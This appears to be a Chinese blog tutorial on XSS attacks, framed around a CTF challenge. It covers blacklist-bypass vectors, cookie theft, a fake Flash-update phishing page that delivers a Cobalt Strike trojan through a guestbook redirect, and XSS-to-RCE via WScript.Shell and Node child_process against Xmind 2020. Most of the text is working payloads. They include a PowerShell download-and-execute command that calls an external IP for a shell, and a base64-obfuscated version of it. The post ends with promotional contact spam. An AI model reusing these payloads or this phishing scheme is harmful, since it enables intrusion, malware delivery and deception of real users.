[CISCN2019 华东北赛区]Web2 这道题运用的就是这个知识点。
XSS 测试流程思路下面让我们来看一下XSS绕过的测试流程。
现实中,大多数的场所是用的黑名单来做XSS过滤器的,有三种方式绕过黑名单的测试:
- 暴力测试(输入大量的payload,看返回结果)
- 根据正则推算
- 利用浏览器bug
(1)尝试插入比较正常的HTML标签,例如:<a>、<b>、<i>、<u> 等,来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。
(2)尝试插入不闭合的标签,例如:<a、<b、i>、u>、<img 等,然后看一下返回响应,是否对开放的标签也有过滤。
(3)然后测试几种常见的XSS向量:
<script>alert(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
......
看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了 alert、prompt、confirm 等字符,再尝试大小写的组合:
<scRiPt>alert(1);</scrIPt>
(4)如果过滤器仅仅是把 <script> 和 </script> 标签过滤掉,那么可以用双写的方式来绕过:
<scr<script>ipt>alert(1)</scr<script>ipt>
这样当 <script> 标签被过滤掉后,剩下的组合起来刚好形成一个完整的向量。
(5)用 <a href 标签来测试,看返回响应
<a href="http://www.baidu.com">click</a>
看看 <a 标签是否被过滤,href 是否被过滤,href里的数据是否被过滤了。如果没有数据被过滤,插入javascript伪协议看看:
<a href="javascript:alert(1)">click</a>
看是否返回错误,javascript的整个协议内容是否都被过滤掉,还是只过滤了javascript字符。
继续测试事件触发执行javascript:
<a href=x onmouseover=alert(1)>ClickHere</a>
看onmouseover事件是否被过滤。
测试一个无效的事件,看看他的过滤规则:
<a href=x onclimbatree=alert(1)>ClickHere</a>
是完整的返回了呢,还是跟onmouseover一样被干掉了。如果是完整的返回的话,那么就意味着,做了事件的黑名单,但是在HTML5中,有超过150种的方式来执行javascript代码的事件,我们可以选用别的事件。测试一个很少见的事件:
<body onhashchange=alert(1)><a href=#>click</a>
测试其他标签和属性onhashchange 事件在当前 URL 的锚部分(以 '#' 号为开始) 发生改变时触发 。
HTML的标签和属性太多了,上文中已经列出了很多了。
XSS 攻击面拓展利用 XSS 钓鱼通过 XSS 盗取 CookieCookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操作十分的方便,我们可以通过Document对象访问Cookie。最简单的比如:<script>alert(document.cookie)</script> ,执行后会弹出当前页面的cookie信息。在目标没有“同源策略”的保护下,我们可以利用XSS盗取目标网站管理员的Cookie。
在一般的通用CMS下呢,为了通用模板的兼容性,许多CMS本身不会使用“同源策略”等其他手段来防护XSS漏洞,而是使用自建的过滤函数来处理,在这种情况下,一旦出现XSS漏洞,我们就可以直接获取目标的Cookie然后使用特定的方法来传输cookie。
这里,我们可以利用网上现成的或自己搭建的XSS平台来完成利用过程。
Flash 弹窗钓鱼之前看过很多大佬使用XSS漏洞弹出Flash的更新页面进行钓鱼的操作。今天我们终于有机会来演示一下了。
其原理就是通过XSS漏洞,弹出Flash更新请求诱使用户点击,使用户跳转到设置好的钓鱼页面(伪造好的Flash更新页面),下载伪造的Flash组件(木马程序)并执行,最终实现反弹Shell上线CS,完成钓鱼攻击。下面我们搭建环境进行演示。
实验环境:
主机环境:
- 攻击机kali:192.168.0.182
- 受害机:192.168.0.125
工具环境:
- WeBug4.0
- Flash 官网源码
(1)制作 CS 捆绑木马
这里我们选择制作WinRAR自解压捆绑木马,将 CS 木马与真正的Flash更新程序捆绑在一起,详情参考我的文章:《钓鱼攻击:制作WinRAR自解压捆绑木马进行钓鱼攻击》
(2)搭建Flash钓鱼页面
首先我们需要在kali上搭建一个钓鱼页面,需要下载Flash官方页面的源码进行修改。这里有两个项目可以选择:
- 项目一地址:https://github.com/Wileysec/adobe-flash-phishing-page
该项目是模仿的 Flash Player 中文官网的页面:
需要在index.html中的加入我们制作的木马的链接地址:
- 项目二地址:https://github.com/r00tSe7en/Flash-Pop
该项目是一个逼真的Flash更新提醒的弹窗,强迫症都会忍不住去点击下载的:
我们这里使用第二种方法,点击“立即升级”的这个按钮点击会下载我们提前准备好的 CS 木马。如果管理员以为自己的 Flash 版本过低的话,可能会下载并运行这个木马。
找到flash.js,搜索链接“https://www.se7ensec.cn/”,将其改为我们制作的木马的链接地址,然后保存即可:
然后将伪造的Flash页面搭建在攻击机kali的Web服务上:
(3)插入 XSS 攻击向量
访问目标网站:
在最下方发现一个留言板:
经测试存在XSS漏洞,我们插入一下payload:
<script>window.location.href="http://192.168.0.182";</script>
xxxxxxxxxxbr<script>window.location.href="http://192.168.0.182";</script>br
这样,当用户再次访问该页面或管理员在后台查看评论时,就会将页面劫持到我们所伪造的钓鱼页面上:
当受害者强迫症忍不住去点击“立即升级”时,就会下载我们所准备好的 CS 捆绑木马:
如果受害者以为自己的 Flash 版本过低的话,就可能会运行这个木马。如下图所示,受害者主机成功上线:
XSS to RCE为了大大提升 XSS 的危害,我们可以利用 JavaScript 来执行系统命令。
使用 WScript.Shell 执行系统命令WScript.Shell(Windows Script Host Runtime Library)是一个对象,对应的文件是C:/WINDOWS/system32/wshom.ocx,Wscript.shell是服务器系统会用到的一种组件。4这个对象可以执行操作系统外壳常用的操作,比如运行程序、读写注册表、环境变量等。简单使用如下:
var shell = new ActiveXObject("WScript.Shell");
shell.run("calc.exe");
xxxxxxxxxxbrvar shell = new ActiveXObject("WScript.Shell");brshell.run("calc.exe");br
有时候为了 Bypass 也可以使用 String.fromCharCode 从 Ascii 来转化恶意代码:
<img src=x onerror="eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));">
xxxxxxxxxxbr<img src=x onerror="eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));">br
使用 child_process 执行系统命令
如果目标环境启用了 NodeJS 的话,我们也可以利用 NodeJS 的子进程(child_process)调用并执行系统命令:
<img src=x onerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data', function (data) {alert(data);})">
<img src=x onerror="require('child_process').exec('calc');">
<img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');">
xxxxxxxxxxbr<img src=x onerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data', function (data) {alert(data);})">brbr<img src=x onerror="require('child_process').exec('calc');">brbr<img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');">br
能执行系统命令了,那么 XSS 在钓鱼攻击中的作用便大大提高了,我们完全可以利用 XSS 反弹 Shell 并上线 Metasploit 或 CS 。请继续往下看。
Xmind 2020 XSS 漏洞XMind 是一款专业的全球领先的商业思维导图软件,在国内使用广泛,拥有强大的功能、包括思维管理、商务演示、与办公软件协同工作等功能。它采用全球先进的 Eclipse RCP 软件架构,是集思维导图与头脑风暴于一体的可视化思考工具,能用来捕捉想法、理清思路、管理复杂信息并促进团队协作。 XMind 思维导图软件曾被著名互联网媒体 Lifehacker 评选为“最佳头脑风暴和思维导图工具”及”最受欢迎的思维导图软件”。
2021年5月10日,被爆 Xmind 2020 中存在 XSS 漏洞,攻击者可以借助该漏洞实现命令执行,在实际环境中借助钓鱼攻击可能造成更严重的危害。
漏洞利用很简单,在 “思维导图” 中输出 Payload:
<img src=x onerror=alert('xss')>
xxxxxxxxxxbr<img src=x onerror=alert('xss')>br
切换到 “大纲” 中,按下一个功能键即可触发攻击:
由于 Xmind 启用了 NodeJS 功能,所以我们可以利用 child_process 调用并执行系统命令。这和蚁剑的 XSS 导致 RCE 原理如出一辙:https://www.heibai.org/post/1152.html
同时我们可以利用这一点进行钓鱼,让受害机上线 Metasploit 或 CS。
首先使用 CS 生成钓鱼使用的 PowerShell 脚本:
点击 Launch 后生成攻击命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.101.57.72:8088/shell'))"
xxxxxxxxxxbrpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.101.57.72:8088/shell'))"br
即:
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://47.101.57.72:8088/shell\'))"');
xxxxxxxxxxbrrequire('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://47.101.57.72:8088/shell\'))"');br
为了更好地 Bypass,我们可以将 payload 进行 base64 转化一下,最终的 Payload 如下:
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'> WX:machinegunjoe666免费领取资料
xxxxxxxxxxbr<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'> WX:machinegunjoe666免费领取资料br
如下图所示,受害机成功上线:
福利分享:看到这里的大佬,动动发财的小手 点赞 回复 收藏,能【 关注 】一波就更好了
我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试干货贡献给大家,回馈每一个读者,希望能帮到你们。
干货主要有:
①1000 CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2021密码学/隐身术/PWN技术手册大全
各位朋友们可以关注 评论一波 私信【资料】 即可免费获取全部资料